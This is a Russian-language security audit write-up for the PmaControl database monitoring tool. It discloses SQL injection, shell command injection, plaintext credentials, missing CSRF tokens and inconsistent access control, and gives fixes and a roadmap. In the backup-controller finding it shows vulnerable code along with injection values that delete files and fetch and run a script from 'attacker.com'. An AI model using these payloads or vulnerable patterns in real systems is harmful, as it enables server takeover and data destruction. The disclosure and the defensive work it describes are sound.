Аудит безопасности PmaControl: дорожная карта усиления защиты

Aurélien LEQUOY · March 10, 2026

PMACONTROL SECURITY SQL-INJECTION AUDIT HARDENING

Зачем проводить аудит собственного кода

PmaControl осуществляет мониторинг production-инфраструктур MariaDB / MySQL. Он имеет доступ к метрикам, конфигурациям, SSH-ключам, учётным данным подключения. Это приоритетная цель для злоумышленника.

Мы провели внутренний аудит безопасности — не ради маркетингового отчёта, а для выявления реальных уязвимостей и приоритизации их исправления. В этой статье результаты представлены без прикрас.

Методология

Аудит охватил:

- **Статический анализ кода**: ручной анализ контроллеров, моделей и представлений PHP
- **Динамический анализ**: тестирование инъекций на формах и API-эндпоинтах

- **Конфигурация**: файлы конфигурации, права файловой системы, секреты
- **Архитектура**: поверхность атаки, изоляция компонентов, потоки данных

Обнаружение 1: SQL-инъекция через динамическое построение запросов

Серьёзность: КРИТИЧЕСКАЯ

Несколько контроллеров строят SQL-запросы путём прямой конкатенации пользовательских параметров:

```
// Паттерн, обнаруженный в нескольких контроллерах
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $_GET['search'] . "%'";
$results = $db->query($sql);
```

Этот паттерн уязвим для классической SQL-инъекции. Злоумышленник может извлечь данные, изменить записи или, в худшем случае, выполнить системные команды через `INTO OUTFILE` или `LOAD_FILE()`.

Выявленные экземпляры

Контроллер	Эндпоинт	Уязвимый параметр
ServerController	/servers/search	search
TagController	/tags/filter	name
LogController	/logs/view	server_id, date_range
MetricController	/metrics/query	metric_name

Устранение

Перейти на **параметризованные запросы** (prepared statements):

```
// До (уязвимо)
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $search . "%'";

// После (безопасно)
$sql = "SELECT * FROM servers WHERE name LIKE ?";
```

```
$results = $db->query($sql, ['%' . $search . '%']);
```

Фреймворк Glial нативно поддерживает prepared statements. Проблема не техническая, а историческая: код был написан до систематического применения этой практики.

Обнаружение 2: инъекция команд оболочки в контроллере Backup

Серьёзность: КРИТИЧЕСКАЯ

Контроллер резервного копирования передаёт пользовательский ввод напрямую в `shell_exec()`:

```
// Паттерн, обнаруженный в BackupController
$output = shell_exec("mysqldump -h " . $host . " -u " . $user . " " . $database);
```

Если `$host` содержит `; rm -rf /` или `$(curl attacker.com/shell.sh | bash)`, команда будет выполнена с привилегиями PHP-процесса.

Это самая серьёзная уязвимость, выявленная в ходе аудита. Злоумышленник с доступом к форме резервного копирования может получить **полный shell на сервере PmaControl**.

Устранение

1. **Удалить все вызовы `shell_exec()` с пользовательскими параметрами** — без исключений
2. Использовать `escapeshellarg()` как временную меру, если немедленное удаление невозможно
3. В перспективе заменить вызовы shell на **нативные PHP-библиотеки** (PDO для mysqldump, phpseclib для SSH)

```
// Временная мера (недостаточна сама по себе)
$output = shell_exec("mysqldump -h " . escapeshellarg($host) . " ...");

// Окончательное решение: без shell вовсе
$pdo = new PDO("mysql:host=$host;dbname=$database", $user, $pass);
// ... резервное копирование через PDO и SELECT INTO OUTFILE или эквивалент
```

Обнаружение 3: пароли в открытом виде в файлах конфигурации

Серьёзность: ВЫСОКАЯ

Учётные данные подключения к наблюдаемым базам данных хранятся в открытом виде в файлах конфигурации PHP:

```
// config/database.php
$config['servers'] = [
    'prod-master' => [
        'host' => '10.0.1.10',
        'user' => 'pmacontrol',
        'password' => 'P@ssw0rd123!',  // В открытом виде
    ],
];
```

Эти файлы доступны любому пользователю с правами на чтение файловой системы. Они также потенциально могут быть закоммичены в Git.

Устранение

1. **Шифровать секреты в состоянии покоя** с помощью ключа, полученного из переменной окружения
2. Использовать **менеджер секретов** (HashiCorp Vault, AWS Secrets Manager) для облачных развёртываний
3. Как минимум, хранить пароли в **переменных окружения**, а не в файлах

```
// После устранения
$config['servers'] = [
    'prod-master' => [
        'host' => '10.0.1.10',
        'user' => 'pmacontrol',
        'password' => getenv('PMAC_PROD_MASTER_PASS'),
    ],
];
```

Обнаружение 4: отсутствие защиты от CSRF

Серьёзность: ВЫСОКАЯ

Формы PmaControl не содержат CSRF-токенов (Cross-Site Request Forgery). Злоумышленник может создать вредоносную веб-страницу, которая отправит форму PmaControl от имени авторизованного пользователя.

Сценарий атаки:

1. Администратор PmaControl авторизован в одной вкладке
2. Он посещает вредоносную веб-страницу в другой вкладке
3. Страница содержит невидимую форму, которая отправляет `POST /servers/delete/42`
4. Браузер отправляет cookie сессии PmaControl — сервер удалён

Устранение

Реализовать **CSRF-токены** на всех POST-формах:

```
// Генерация токена
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// В форме
<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">

// Валидация на стороне сервера
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    http_response_code(403);
    die('CSRF token mismatch');
}
```

Обнаружение 5: разрозненный контроль доступа

Серьёзность: СРЕДНЯЯ

Проверки ACL (Access Control List) не централизованы. Каждый контроллер реализует собственные проверки прав доступа непоследовательным образом:

```
// Контроллер A: проверяет права
if (!$user->hasPermission('server.delete')) {
    redirect('/unauthorized');
}
```

```
// Контроллер B: ничего не проверяет
public function deleteServer($id) {
    $this->ServerModel->delete($id);  // Нет проверки ACL
}
```

Устранение

Централизовать ACL в **middleware**, выполняемом перед каждым действием контроллера:

```
// Централизованный middleware
class AclMiddleware {
    public function before($controller, $action) {
        $permission = $controller . '.' . $action;
        if (!$this->user->hasPermission($permission)) {
            throw new ForbiddenException();
        }
    }
}
```

Дорожная карта устранения уязвимостей

Приоритет 1 — Критический (немедленно)

Действие	Оценка трудозатрат	Статус
Параметризованные запросы во всех контроллерах	3-5 дней	В работе
Удаление shell_exec с пользовательским вводом	1-2 дня	В работе
CSRF-токены на всех формах	2-3 дня	Запланировано
Шифрование секретов в конфигурации	1-2 дня	Запланировано

Приоритет 2 — Высокий (в течение 30 дней)

Действие	Оценка трудозатрат	Статус
Изоляция SSH/backup воркеров в отдельном процессе	5-8 дней	Запланировано

Действие	Оценкатрудозатрат	Статус
Аудит прав файловой системы	1 день	Запланировано
Ограничение частоты запросов для API и аутентификации	2-3 дня	Запланировано

Приоритет 3 — Средний (в течение 90 дней)

Действие	Оценка трудозатрат	Статус
Централизация ACL в middleware	3-5 дней	Запланировано
Нормализация паттернов контроллеров	5-8 дней	Запланировано
Заголовки безопасности (CSP, HSTS, X-Frame-Options)	1 день	Запланировано
Централизованное журналирование безопасности	2-3 дня	Запланировано

Что не охвачено этим аудитом

- Уязвимости в сторонних зависимостях (jQuery, Bootstrap) — запланирован отдельный аудит
- Сетевые уязвимости (firewall, TLS) — зона ответственности инфраструктуры
- Социальная инженерия и фишинг — за пределами технического scope

Заключение

Инструмент мониторинга, имеющий доступ к учётным данным production-систем, является критической целью. PmaControl, как и многие open-source-проекты, выросшие органически, несёт исторический технический долг по безопасности.

Прозрачность в отношении этих уязвимостей — осознанный выбор. Мы предпочитаем публично документировать уязвимости и дорожную карту их устранения, а не делать вид, что код безопасен.

Исправления P1 находятся в работе. P2 и P3 следуют реалистичному графику. Каждый релиз PmaControl сокращает поверхность атаки.